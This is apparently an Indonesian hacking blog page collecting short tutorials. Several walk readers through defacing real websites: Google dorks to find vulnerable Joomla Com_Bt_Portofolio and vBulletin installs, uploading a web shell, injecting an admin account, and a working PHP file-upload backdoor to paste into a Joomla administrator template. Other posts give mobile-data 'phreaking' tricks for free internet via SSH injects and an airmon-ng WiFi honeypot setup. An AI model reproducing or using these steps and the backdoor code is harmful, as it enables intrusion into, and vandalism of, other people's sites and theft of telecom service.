Cara Deface Dengan Exploit Com_Bt_Portofolio [uploadify]

Assalamualaikum...

Baiklah, kali ini saya akan share tutor deface dengan Com_Bt_Portofolio.
Baiklah lansung saja.

Bahan-Bahan
1. Script Uploadify ( Download )
2. Xampp ( Download )
3. Curl ( Download )
4. Shell ( Sesuaikan dengan selera anda )

Langkah-Langkah

Dork :    "/templates/bt_foto" 
              "/templates/bt_metro"
              "/templates/bt_folio"
1. Sebelumnya install dahulu Xampp yang sudah kalian download tadi, lalu extract/taruh file ( Curl, Script Uploadify dan Shell ) kalian pada direktori C:/Xampp/php setelah selesai, buka file Script Uploadify-nya lalu sesuaikan seperti gambar di bawah ini :

 

$uploadfile="shell.php"; ( shell.php adalah nama shell yang saya pakai, shell.php bisa diganti dengan nama shell yang kalian taruh di folder php )

2. Langkah selanjutnya adalah kita jalankan Xampp-Nya. ( klik start semua )

 3. setelah itu buka CMD Lalu masuk ke direktori Php pada Xampp. ( Lihat contoh gambar )

4. Jika sudah ikuti langkah diatas, sekarang waktunya jalankan Script Uploadify ( lihat gambar )

5. Jika keluar path seperti diatas, kemungkinan besar shell sudah berhasil terupload, sekarang buka browser lalu ubah urlnya menjadi :
www.target.com/administrator/components/com_bt_portofolio/shell.php

6. nah. dalam kasus ini. shell saya berhasil terupload. sekarang tinggal kalian tebas ^_^

baiklah. sekian tutor dari saya.. kurang lebih nya mohon di maafkan.. dan sebelumnya terima kasih kepada IDCA :)

Baca Selengkapnya...

Trik Noah (not tested) / Luna (tested) yang terbaru

Para admin-admin disini (ada 3 yang pake internet phreak, 1 sudah jarang karena sedang bercinta dengan tab nya :v ) sekarang jarang online dikarenakan malas ngeblog dan akhirnya jadi go-blog :v , jadi saya ambil alih aja :v

Hmm, phreaking, melakukan sesuatu adegan mesum.., ehh salah-salah :v. Di Indonesia sudah sangat sangat sangat sangat sangat tenar dengan phreaking. Siapa suruh operator kasih harga kuota internet mahal dan sedikit, sehingga orang-orang beralih ke cara lain yang lebih mudah dan pastinya lebih bebas karena gak ada kata-kata kuota dan pulsa berkurang (tapi dosa bertambah) :v

Jiahh, malah curhat nih. Gapapa lah curhat sekali-sekali, hehehehehe. Langsung saja trik nya.
Udah tau pasti kan yang mana noah dan luna, admin malas menjelaskannya lagi, untuk mengetahui, silakan googling yah :p.

1. Siapkan kartunya dan pake apn internet
2. Siapkan pulsa 6000 atau 21000 (kalau lagi banyak duit)
3. Ketik WC7 kirim ke 2526 (5500) atau ketik WC30 ke 2526 (20000) (Ketik WC yah, bukan ke WC :v )
4. SSH silakan cari sendiri, tetapi injeknya silakan sedot disitu >>>                      
5. Silakan internetan murah dan bebas kuota ^_^

Special Thanks to Muhammad Nurun Insani :D

Baca Selengkapnya...

Cara membuat WiFi Honeypot di Kali Linux

Pada postingan ini saya akan berbagi bagaimana cara membuat Wifi Honeypot di Kali Linux
Wifi Honeypots adalah sebuah Wifi yang dibuat secara sengaja yang sama persis wifi sebenarnya dengan tujuan untuk menjebak para fakirmiskin bandwidth yang berusaha mencari wireless gratisan, mematikan/jamming/deauth wifi  serta berniat untuk melakukan penyerangan terhadap penguna wireless. Wifi honeypots ini hanya bertujuan mengalihkan perhatian para attacker karena belum mampu menangkap aktivitas yang dilakukan oleh attacker.
Nah, untuk membuat Wifi honeypots di Kali Linux sudah tersedia sebuah tools bernama wifi-honey. Berikut ini langkah-langkah membuat Wifi Honeypots:
1. Start wlan0 pada monitor mode
#airmon-ng start wlan0
2. Aktifikan Wifi Honeypots
Usage: /usr/bin/wifi-honey <essid> <channel> <interface>
#/usr/bin/wifi-honey abrao 6 mon0
Kalau sudah berhasil, hasilnya akan muncul seperti pada gambar dibawah ini:












Sumber

Baca Selengkapnya...

Cara menaikkan QoS XL-Ku

Kali ini saya akan share cara menaikkan QoS XL-Ku, pada jaringan kartu XL-Ku diberikan standard QoS cuman 4Mbps, karena itu diperlukan cara menaikkan QoS agar jaringan lebih ngebut, berikut caranya

1. Minimal pulsa XL-KU yang kamu miliki Rp. 5.000 untuk jaga - jaga
2. Paket XL-KU ke Combo Gila atau ketik di Hp/USSD Modem kamu (*123*4*2*1#)
3. Beli paket Hot Road 3G yang Rp. 1.000 buat satu hari hari (*123*2*2*1*2#)
4. Beli paket Hot Road 3G yang Rp. 500 paketnya 2 kali (*123*2*2*1*1#)
5. Stop langganan paket Hot Road 3G yang Rp. 1.000/1 hari (*123*7*6#)
6. Buat browsing dulu sebentar, buka aja google dulu baru disconnect kan modem.
7. Stop langganan paket Hot Road 3G yang Rp.500
8. Jebret,,, QoSnya udah naik

Baca Selengkapnya...

Cara Share WiFi menggunakan SSH

Kali ini saya akan share tutorial cara membuat WiFi menggunakan SSH, buat kalian yang sering update apps dan game android kalian, trik ini patut dicoba karena tidak perlu ada pengaturan proxy lagi, dan WiFi tersebut bisa digunakan di semua pc dan hp yg support WiFi, langsung saja

Alat Tempur

SocksToTAP ( Download disini )
Connectify hotspot ( Download disini )


Langkah - langkah

• Install Connectify hotspot terlebih dahulu,  masukkan key pas menginstall
• Atur seperti gambar dibawah ini ( jgn di start dulu )

• Konekkan SSH menggunakan inject seperti biasa ( jgn menggunakan proxifier )
• Pada SocksToTAP, Buka menggunakan Run as administrator
• Kemudian pilih Operator sobat
• Pada Socks port di SocksToTap, isikan seperti Listen port di bitvise

 

• Klik Start. Jika adapter agan belum terinstall, maka agan akan menginstall OpenVPN
• Setelah OpenVPN terinstall SocksToTAP akan keluar, maka buka lagi dan klik Start
• Jika tahap di atas udah benar, masuk ke connectify hotspot, isikan nama hotspot dan password dan klik start, maka WiFi sudah siap digunakan tanpa setting-setting lagi di PC dan HP pengguna

Baca Selengkapnya...

vBulletin 4.x.x and 5.x.x Upgrade 0day Exploit

Hallo sobat.. kali ini saya akan share Exploit vBulletin ya meskipun sudah banyak yang tau.. tapi gak apa-apa sih.. yang penting bisa post.

Ok Lansung saja
[+] Dork [+]
inurl:install/upgrade.php *dork silahkan kembangkan ya ^_^

[+] Bahan [+]
vBullein 0day ( Download )Silahkan upload di hosting kalian ^_^

[+] langkah-langkah [+]

1. Masukan expoit : /install/upgrade.php
#localhost/path/install/upgrade.php

 2. Kemudian CTRL+ U Dan cari customer ID nya dengan bantuan CTRL+F

3. Setelah itu buka vBulleting 0day yang sudah anda upload ke hosting anda. lalu isi data-datanya
note: username dan password terserah anda

4. Setelah itu klik inject admin. jika berhasil maka tampilan akan seperti berikut.

5. nah. langkah terakhir tinggal login. login admin vBulleting adalah /admincp
contoh : www.site.com/admincp

sekian tutor dari saya.. semoga berguna ^_^

Baca Selengkapnya...

Cara Memasang Shell Di Joomla

Cara memasang shell di joomla - Bagaimana cara menebas index di web joomla? terdapat dua cara untuk menebas index di web joomla. yang pertama ke template manager lalu ganti script web tersebut dengan script deface anda. dan yang kedua adalah dengan memasang shell lalu tebas index.php nya. Dan kali ini saya akan menjelaskan cara yang ke dua. yaitu menebas index melalui script.

[+] Bahan

• shell ( download here )

[+] Langkah-Langkah

1. Login ke halaman administrator dari site target and (  www.site.com/administrator  )

 

2. Selanjurnya klik template manager yang ada di halaman utama, maka  akan muncul tampilan seperti pada gambar.

 

3. klik template administrator yang aktif ( yang aktif terdapat tanda bintang ) setelah itu klik template.

4. klik judul pada template yang aktif tadi

5. lalu klik edit main page templates

6. setelah itu. taruh script di bagian bawah lalu klik save seperti pada 

    gambar di atas.

<?php

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Sukses!!!<b><br><br>'; }
else { echo '<b>Gagal Upload!!!</b><br><br>'; }
}
?>

7. Setelah Save berhasil, akan muncul fasilitas untuk mengupload shell. ( terdapat di paling bawah halaman administrator ). Lalu pilih file shell kamu.

jika sukses akan ada tulisan upload sukses

8. Masuk ke dalam shell kamu ( site.com/administrator/Nama shell kamu.php ) Lalu cari tulisan index.php dan klik pada tombol edit

 

Sekian tutor dari saya.. semoga membantu \ :v /

Baca Selengkapnya...